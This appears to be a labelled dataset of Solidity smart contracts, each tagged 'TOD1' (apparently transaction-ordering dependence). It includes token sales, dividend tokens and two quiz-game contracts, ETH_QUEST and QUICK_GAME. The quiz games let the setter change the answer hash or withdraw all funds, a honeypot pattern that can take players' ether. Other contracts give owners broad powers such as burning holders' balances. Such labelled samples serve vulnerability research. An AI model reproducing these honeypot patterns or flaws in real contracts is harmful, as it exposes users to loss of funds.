whitelist[0x009e02b21aBEFc7ECC1F2B11700b49106D7D552b] = 100 ether; whitelist[0xCD540A0cC5260378fc818CA815EC8B22F966C0af] = 85 ether; whitelist[0x6e8b688CB562a028E5D9Cb55ac1eE43c22c96995] = 60 ether; whitelist[0xe6D62ec63852b246d3D348D4b3754e0E72F67df4] = 50 ether; whitelist[0xE127C0c9A2783cBa017a835c34D7AF6Ca602c7C2] = 50 ether; whitelist[0xD933d531D354Bb49e283930743E0a473FC8099Df] = 50 ether; whitelist[0x8c3C524A2be451A670183Ee4A2415f0d64a8f1ae] = 50 ether; whitelist[0x7e0fb316Ac92b67569Ed5bE500D9A6917732112f] = 50 ether; whitelist[0x738C090D87f6539350f81c0229376e4838e6c363] = 50 ether; // anothers KYC will be added using addWhitelists } function hardCapReached() constant public returns (bool) { return ((hardCap * 999) / 1000) <= totalEthers; } function softCapReached() constant public returns(bool) { return totalEthers >= softCap; } /* * @dev fallback for processing ether */ function() payable { return buyTokens(msg.sender); } /* * @dev calculate amount * @param _value - ether to be converted to tokens * @param at - current time * @return token amount that we should send to our dear investor */ function calcAmountAt(uint256 _value, uint256 at) public constant returns (uint256) { uint rate; if(startTime + 2 days >= at) { rate = 140; } else if(startTime + 7 days >= at) { rate = 130; } else if(startTime + 14 days >= at) { rate = 120; } else if(startTime + 21 days >= at) { rate = 110; } else { rate = 105; } return ((_value * rate) / weiPerToken) / 100; } /* * @dev check contributor is whitelisted or not for buy token * @param contributor * @param amount — how much ethers contributor wants to spend * @return true if access allowed */ function checkWhitelist(address contributor, uint256 amount) internal returns (bool) { return etherBalances[contributor] + amount <= whitelist[contributor]; } /* * @dev grant backer until first 24 hours * @param contributor address */ function addWhitelist(address contributor, uint256 amount) onlyOwner public returns (bool) { Whitelist(contributor, amount); whitelist[contributor] = amount; return true; } /* * @dev grant backers until first 24 hours * @param contributor address */ function addWhitelists(address[] contributors, uint256[] amounts) onlyOwner public returns (bool) { address contributor; uint256 amount; require(contributors.length == amounts.length); for (uint i = 0; i < contributors.length; i++) { contributor = contributors[i]; amount = amounts[i]; require(addWhitelist(contributor, amount)); } return true; } /* * @dev sell token and send to contributor address * @param contributor address */ function buyTokens(address contributor) payable validPurchase(contributor) public { uint256 amount = calcAmountAt(msg.value, block.timestamp); require(contributor != 0x0) ; require(minimalEther <= msg.value); require(token.totalSupply() + amount <= maximumTokens); token.mint(contributor, amount); TokenPurchase(contributor, msg.value, amount); if(softCapReached()) { totalEthers = totalEthers + msg.value; } else if (this.balance >= softCap) { totalEthers = this.balance; } else { etherBalances[contributor] = etherBalances[contributor] + msg.value; } require(totalEthers <= hardCap); } // @withdraw to wallet function withdraw() onlyOwner public { require(softCapReached()); require(this.balance > 0); wallet.transfer(this.balance); } // @withdraw token to wallet function withdrawTokenToFounder() onlyOwner public { require(token.balanceOf(this) > 0); require(softCapReached()); require(startTime + 1 years < now); token.transfer(wallet, token.balanceOf(this)); } // @refund to backers, if softCap is not reached function refund() isExpired public { require(refundAllowed); require(!softCapReached()); require(etherBalances[msg.sender] > 0); require(token.balanceOf(msg.sender) > 0); uint256 current_balance = etherBalances[msg.sender]; etherBalances[msg.sender] = 0; token.burn(msg.sender); msg.sender.transfer(current_balance); } function finishCrowdsale() onlyOwner public { require(now > endTime || hardCapReached()); require(!token.mintingFinished()); bountyReward = token.totalSupply() * 3 / 83; teamReward = token.totalSupply() * 7 / 83; founderReward = token.totalSupply() * 7 / 83; if(softCapReached()) { token.mint(wallet, bountyReward); token.mint(wallet, teamReward); token.mint(this, founderReward); token.finishMinting(true); } else { refundAllowed = true; token.finishMinting(false); } } // @return true if crowdsale event has ended function running() public constant returns (bool) { return now >= startTime && !(now > endTime || hardCapReached()); } } contract Token is MintableToken { string public constant name = 'Privatix'; string public constant symbol = 'PRIX'; uint8 public constant decimals = 8; bool public transferAllowed; event Burn(address indexed from, uint256 value); event TransferAllowed(bool); modifier canTransfer() { require(mintingFinished && transferAllowed); _; } function transferFrom(address from, address to, uint256 value) canTransfer returns (bool) { return super.transferFrom(from, to, value); } function transfer(address to, uint256 value) canTransfer returns (bool) { return super.transfer(to, value); } function finishMinting(bool _transferAllowed) onlyOwner returns (bool) { transferAllowed = _transferAllowed; TransferAllowed(_transferAllowed); return super.finishMinting(); } function burn(address from) onlyOwner returns (bool) { Transfer(from, 0x0, balances[from]); Burn(from, balances[from]); balances[0x0] += balances[from]; balances[from] = 0; } }
TOD1
pragma solidity ^0.4.20; contract ETH_QUEST { function Try(string _response) external payable { require(msg.sender == tx.origin); if(responseHash == keccak256(_response) && msg.value>=1 ether) { msg.sender.transfer(this.balance); } } string public question; address questionSender; bytes32 responseHash; function setGame(string _question,string _response) public payable { if(responseHash==0x0) { responseHash = keccak256(_response); question = _question; questionSender = msg.sender; } } function StopGame() public payable { require(msg.sender==questionSender); msg.sender.transfer(this.balance); } function NewQuestion(string _question, bytes32 _responseHash) public payable { if(msg.sender==questionSender){ question = _question; responseHash = _responseHash; } } function newQuestioner(address newAddress) public { if(msg.sender==questionSender)questionSender = newAddress; } function() public payable{} }
TOD1
pragma solidity ^0.4.21; /* from: https://github.com/OpenZeppelin/openzeppelin-solidity/blob/master/LICENSE Parts of this code has been audited by OpenZeppelin and published under MIT Licenses The MIT License (MIT) Copyright (c) 2016 Smart Contract Solutions, Inc. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. */ library SafeMath { int256 constant private INT256_MIN = -2**255; /** * @dev Multiplies two unsigned integers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } /** * @dev Multiplies two signed integers, reverts on overflow. */ function mul(int256 a, int256 b) internal pure returns (int256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } require(!(a == -1 && b == INT256_MIN)); // This is the only case of overflow not detected by the check below int256 c = a * b; require(c / a == b); return c; } /** * @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Integer division of two signed integers truncating the quotient, reverts on division by zero. */ function div(int256 a, int256 b) internal pure returns (int256) { require(b != 0); // Solidity only automatically asserts when dividing by 0 require(!(b == -1 && a == INT256_MIN)); // This is the only case of overflow int256 c = a / b; return c; } /** * @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } /** * @dev Subtracts two signed integers, reverts on overflow. */ function sub(int256 a, int256 b) internal pure returns (int256) { int256 c = a - b; require((b >= 0 && c <= a) || (b < 0 && c > a)); return c; } /** * @dev Adds two unsigned integers, reverts on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } /** * @dev Adds two signed integers, reverts on overflow. */ function add(int256 a, int256 b) internal pure returns (int256) { int256 c = a + b; require((b >= 0 && c >= a) || (b < 0 && c < a)); return c; } /** * @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } contract Ownable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor () internal { _owner = msg.sender; emit OwnershipTransferred(address(0), _owner); } /** * @return the address of the owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner()); _; } /** * @return true if `msg.sender` is the owner of the contract. */ function isOwner() public view returns (bool) { return msg.sender == _owner; } /** * @dev Allows the current owner to relinquish control of the contract. * @notice Renouncing to ownership will leave the contract without an owner. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0)); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } ///taken from OpenZeppelin in August 2018 contract StandardToken is Ownable{ using SafeMath for uint256; mapping(address => uint256) internal balances; event Approval( address indexed owner, address indexed spender, uint256 value ); event Transfer( address indexed from, address indexed to, uint256 value ); uint256 internal totalSupply_; /** * @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev Transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_value <= balances[msg.sender]); require(_to != address(0)); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); require(_to != address(0)); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval( address _spender, uint256 _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval( address _spender, uint256 _subtractedValue ) public returns (bool) { uint256 oldValue = allowed[msg.sender][_spender]; if (_subtractedValue >= oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } //taken from OpenZeppelin in August 2018, added Locking functionalities contract PausableToken is StandardToken{ event TokensAreLocked(address _from, uint256 _timeout); event Paused(address account); event Unpaused(address account); bool private _paused = false; mapping (address => uint256) lockups; /** * @return true if the contract is paused, false otherwise. */ function paused() public view returns(bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!_paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(_paused); _; } /** * @dev Modifier to make a function callable only if tokens are not locked */ modifier ifNotLocked(address _from){ if (lockups[_from] != 0) { require(now >= lockups[_from]); } _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() public onlyOwner whenNotPaused { _paused = true; emit Paused(msg.sender); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() public onlyOwner whenPaused { _paused = false; emit Unpaused(msg.sender); } /** * @dev function to lock tokens utill a given block.timestamp * @param _holders array of adress to lock the tokens from * @param _timeouts array of timestamps untill which tokens are blocked * NOTE: _holders[i] gets _timeouts[i] */ function lockTokens(address[] _holders, uint256[] _timeouts) public onlyOwner { require(_holders.length == _timeouts.length); require(_holders.length < 255); for (uint8 i = 0; i < _holders.length; i++) { address holder = _holders[i]; uint256 timeout = _timeouts[i]; // make sure lockup period can not be overwritten require(lockups[holder] == 0); lockups[holder] = timeout; emit TokensAreLocked(holder, timeout); } } function transfer(address _to, uint256 _value) public whenNotPaused ifNotLocked(msg.sender) returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from,address _to,uint256 _value)public whenNotPaused ifNotLocked(_from) returns (bool) { return super.transferFrom(_from, _to, _value); } function approve( address _spender, uint256 _value ) public whenNotPaused returns (bool) { return super.approve(_spender, _value); } function increaseApproval( address _spender, uint _addedValue ) public whenNotPaused returns (bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval( address _spender, uint _subtractedValue ) public whenNotPaused returns (bool success) { return super.decreaseApproval(_spender, _subtractedValue); } } //taken from OpenZeppelin in August 2018 contract BurnableToken is StandardToken{ event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _from address from which the tokens are burned * @param _value The amount of token to be burned. */ function burnFrom(address _from, uint256 _value) public onlyOwner{ require(_value <= balances[_from]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure balances[_from] = balances[_from].sub(_value); totalSupply_ = totalSupply_.sub(_value); emit Burn(_from, _value); emit Transfer(_from, address(0), _value); } } //taken from OpenZeppelin in August 2018 contract MintableToken is StandardToken{ event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } modifier hasMintPermission() { require(msg.sender == owner()); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint( address _to, uint256 _amount ) hasMintPermission canMint public returns (bool) { require(_to != address(0)); totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; emit MintFinished(); return true; } } contract DividendPayingToken is PausableToken, BurnableToken, MintableToken{ event PayedDividendEther(address receiver, uint256 amount); event PayedDividendFromReserve(address receiver, uint256 amount); uint256 EligibilityThreshold; address TokenReserveAddress; modifier isEligible(address _receiver){ balanceOf(_receiver) >= EligibilityThreshold; _; } function setEligibilityThreshold(uint256 _value) public onlyOwner returns(bool) { EligibilityThreshold = _value; return true; } function setTokenReserveAddress(address _newAddress) public onlyOwner returns(bool) { TokenReserveAddress = _newAddress; return true; } function approvePayoutFromReserve(uint256 _value) public onlyOwner returns(bool) { allowed[TokenReserveAddress][msg.sender] = _value; emit Approval(TokenReserveAddress,msg.sender, _value); return true; } function payDividentFromReserve(address _to, uint256 _amount) public onlyOwner isEligible(_to) returns(bool){ emit PayedDividendFromReserve(_to, _amount); return transferFrom(TokenReserveAddress,_to, _amount); } function payDividendInEther(address _to, uint256 _amount) public onlyOwner isEligible(_to) returns(bool){ require(address(this).balance >= _amount ); _to.transfer(_amount); emit PayedDividendEther(_to, _amount); return true; } function depositEtherForDividends(uint256 _amount) public payable onlyOwner returns(bool){ require(msg.value == _amount); return true; } function withdrawEther(uint256 _amount) public onlyOwner returns(bool){ require(address(this).balance >= _amount ); owner().transfer(_amount); return true; } } contract SET is DividendPayingToken{ string public name = "Securosys"; string public symbol = "SET"; uint8 public decimals = 18; }
TOD1
pragma solidity ^0.4.25 ; contract Ccl{ address owner; constructor() public payable{ owner = msg.sender; } modifier onlyOwner(){ require (msg.sender==owner); _; } event transferLogs(address,string,uint); function () payable public { // 其他逻辑 } // 获取合约账户余额 function getBalance() public constant returns(uint){ return address(this).balance; } // 批量出账 function sendAll(address[] _users,uint[] _prices,uint _allPrices) public onlyOwner{ require(_users.length>0); require(_prices.length>0); require(address(this).balance>=_allPrices); for(uint32 i =0;i<_users.length;i++){ require(_users[i]!=address(0)); require(_prices[i]>0); _users[i].transfer(_prices[i]); emit transferLogs(_users[i],'转账',_prices[i]); } } // 合约出账 function sendTransfer(address _user,uint _price) public onlyOwner{ require(_user!=owner); if(address(this).balance>=_price){ _user.transfer(_price); emit transferLogs(_user,'转账',_price); } } // 提币 function getEth(uint _price) public onlyOwner{ if(_price>0){ if(address(this).balance>=_price){ owner.transfer(_price); } }else{ owner.transfer(address(this).balance); } } }
TOD1
pragma solidity ^0.4.25; contract QUICK_GAME { function Try(string _response) external payable { require(msg.sender == tx.origin); if(responseHash == keccak256(_response) && msg.value > 1 ether) { msg.sender.transfer(this.balance); } } string public question; address questionSender; bytes32 responseHash; bytes32 questionerPin = 0x5ccc628d1c0015605e8d4a7433aaf9fc3f39c7c58460960e26f698556cc3f6dd; function Activate(bytes32 _questionerPin, string _question, string _response) public payable { if(keccak256(_questionerPin)==questionerPin) { responseHash = keccak256(_response); question = _question; questionSender = msg.sender; questionerPin = 0x0; } } function StopGame() public payable { require(msg.sender==questionSender); msg.sender.transfer(this.balance); } function NewQuestion(string _question, bytes32 _responseHash) public payable { if(msg.sender==questionSender){ question = _question; responseHash = _responseHash; } } function newQuestioner(address newAddress) public { if(msg.sender==questionSender)questionSender = newAddress; } function() public payable{} }
TOD1
pragma solidity ^0.4.18; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract Releasable is Ownable { event Release(); bool public released = false; modifier afterReleased() { require(released); _; } function release() onlyOwner public { require(!released); released = true; Release(); } } contract Managed is Releasable { mapping (address => bool) public manager; event SetManager(address _addr); event UnsetManager(address _addr); function Managed() public { manager[msg.sender] = true; } modifier onlyManager() { require(manager[msg.sender]); _; } function setManager(address _addr) public onlyOwner { require(_addr != address(0) && manager[_addr] == false); manager[_addr] = true; SetManager(_addr); } function unsetManager(address _addr) public onlyOwner { require(_addr != address(0) && manager[_addr] == true); manager[_addr] = false; UnsetManager(_addr); } } contract ReleasableToken is StandardToken, Managed { function transfer(address _to, uint256 _value) public afterReleased returns (bool) { return super.transfer(_to, _value); } function saleTransfer(address _to, uint256 _value) public onlyManager returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public afterReleased returns (bool) { return super.transferFrom(_from, _to, _value); } function approve(address _spender, uint256 _value) public afterReleased returns (bool) { return super.approve(_spender, _value); } function increaseApproval(address _spender, uint _addedValue) public afterReleased returns (bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval(address _spender, uint _subtractedValue) public afterReleased returns (bool success) { return super.decreaseApproval(_spender, _subtractedValue); } } contract BurnableToken is ReleasableToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) onlyManager public { require(_value > 0); require(_value <= balances[msg.sender]); // no need to require value <= tota0lSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); Burn(burner, _value); } } /** * GANA */ contract GANA is BurnableToken { string public constant name = "GANA"; string public constant symbol = "GANA"; uint8 public constant decimals = 18; event ClaimedTokens(address manager, address _token, uint256 claimedBalance); function GANA() public { totalSupply = 2000000000 * 1 ether; balances[msg.sender] = totalSupply; } function claimTokens(address _token, uint256 _claimedBalance) public onlyManager afterReleased { ERC20Basic token = ERC20Basic(_token); uint256 tokenBalance = token.balanceOf(this); require(tokenBalance >= _claimedBalance); address manager = msg.sender; token.transfer(manager, _claimedBalance); ClaimedTokens(manager, _token, _claimedBalance); } } /** * Whitelist contract */ contract Whitelist is Ownable { mapping (address => bool) public whitelist; event Registered(address indexed _addr); event Unregistered(address indexed _addr); modifier onlyWhitelisted(address _addr) { require(whitelist[_addr]); _; } function isWhitelist(address _addr) public view returns (bool listed) { return whitelist[_addr]; } function registerAddress(address _addr) public onlyOwner { require(_addr != address(0) && whitelist[_addr] == false); whitelist[_addr] = true; Registered(_addr); } function registerAddresses(address[] _addrs) public onlyOwner { for(uint256 i = 0; i < _addrs.length; i++) { require(_addrs[i] != address(0) && whitelist[_addrs[i]] == false); whitelist[_addrs[i]] = true; Registered(_addrs[i]); } } function unregisterAddress(address _addr) public onlyOwner onlyWhitelisted(_addr) { whitelist[_addr] = false; Unregistered(_addr); } function unregisterAddresses(address[] _addrs) public onlyOwner { for(uint256 i = 0; i < _addrs.length; i++) { require(whitelist[_addrs[i]]); whitelist[_addrs[i]] = false; Unregistered(_addrs[i]); } } } /** * GANA PUBLIC-SALE */ contract GanaPublicSale is Ownable { using SafeMath for uint256; GANA public gana; Whitelist public whitelist; address public wallet; uint256 public hardCap = 30000 ether; //publicsale cap uint256 public weiRaised = 0; uint256 public defaultRate = 20000; //uint256 public startTime = 1483228800; //TEST ONLY UTC 01/01/2017 00:00am uint256 public startTime = 1524218400; //UTC 04/20/2018 10:00am uint256 public endTime = 1526637600; //UTC 05/18/2018 10:00am event TokenPurchase(address indexed sender, address indexed buyer, uint256 weiAmount, uint256 ganaAmount); event Refund(address indexed buyer, uint256 weiAmount); event TransferToSafe(); event BurnAndReturnAfterEnded(uint256 burnAmount, uint256 returnAmount); function GanaPublicSale(address _gana, address _wallet, address _whitelist) public { require(_wallet != address(0)); gana = GANA(_gana); whitelist = Whitelist(_whitelist); wallet = _wallet; } modifier onlyWhitelisted() { require(whitelist.isWhitelist(msg.sender)); _; } // fallback function can be used to buy tokens function () external payable { buyGana(msg.sender); } function buyGana(address buyer) public onlyWhitelisted payable { require(!hasEnded()); require(afterStart()); require(buyer != address(0)); require(msg.value > 0); require(buyer == msg.sender); uint256 weiAmount = msg.value; //pre-calculate wei raise after buying uint256 preCalWeiRaised = weiRaised.add(weiAmount); uint256 ganaAmount; uint256 rate = getRate(); if(preCalWeiRaised <= hardCap){ //the pre-calculate wei raise is less than the hard cap ganaAmount = weiAmount.mul(rate); gana.saleTransfer(buyer, ganaAmount); weiRaised = preCalWeiRaised; TokenPurchase(msg.sender, buyer, weiAmount, ganaAmount); }else{ //the pre-calculate weiRaised is more than the hard cap uint256 refundWeiAmount = preCalWeiRaised.sub(hardCap); uint256 fundWeiAmount = weiAmount.sub(refundWeiAmount); ganaAmount = fundWeiAmount.mul(rate); gana.saleTransfer(buyer, ganaAmount); weiRaised = weiRaised.add(fundWeiAmount); TokenPurchase(msg.sender, buyer, fundWeiAmount, ganaAmount); buyer.transfer(refundWeiAmount); Refund(buyer,refundWeiAmount); } } function getRate() public view returns (uint256) { if(weiRaised < 12500 ether){ return 21000; }else if(weiRaised < 25000 ether){ return 20500; }else{ return 20000; } } //Was it sold out or sale overdue function hasEnded() public view returns (bool) { bool hardCapReached = weiRaised >= hardCap; // balid cap return hardCapReached || afterEnded(); } function afterEnded() internal constant returns (bool) { return now > endTime; } function afterStart() internal constant returns (bool) { return now >= startTime; } function transferToSafe() onlyOwner public { require(hasEnded()); wallet.transfer(this.balance); TransferToSafe(); } /** * @dev burn unsold token and return bonus token * @param reserveWallet reserve pool address */ function burnAndReturnAfterEnded(address reserveWallet) onlyOwner public { require(reserveWallet != address(0)); require(hasEnded()); uint256 unsoldWei = hardCap.sub(weiRaised); uint256 ganaBalance = gana.balanceOf(this); require(ganaBalance > 0); if(unsoldWei > 0){ //Burn unsold and return bonus uint256 unsoldGanaAmount = ganaBalance; uint256 burnGanaAmount = unsoldWei.mul(defaultRate); uint256 bonusGanaAmount = unsoldGanaAmount.sub(burnGanaAmount); gana.burn(burnGanaAmount); gana.saleTransfer(reserveWallet, bonusGanaAmount); BurnAndReturnAfterEnded(burnGanaAmount, bonusGanaAmount); }else{ //All tokens were sold. return bonus gana.saleTransfer(reserveWallet, ganaBalance); BurnAndReturnAfterEnded(0, ganaBalance); } } /** * @dev emergency function before sale * @param returnAddress return token address */ function returnGanaBeforeSale(address returnAddress) onlyOwner public { require(returnAddress != address(0)); require(weiRaised == 0); uint256 returnGana = gana.balanceOf(this); gana.saleTransfer(returnAddress, returnGana); } }
TOD1
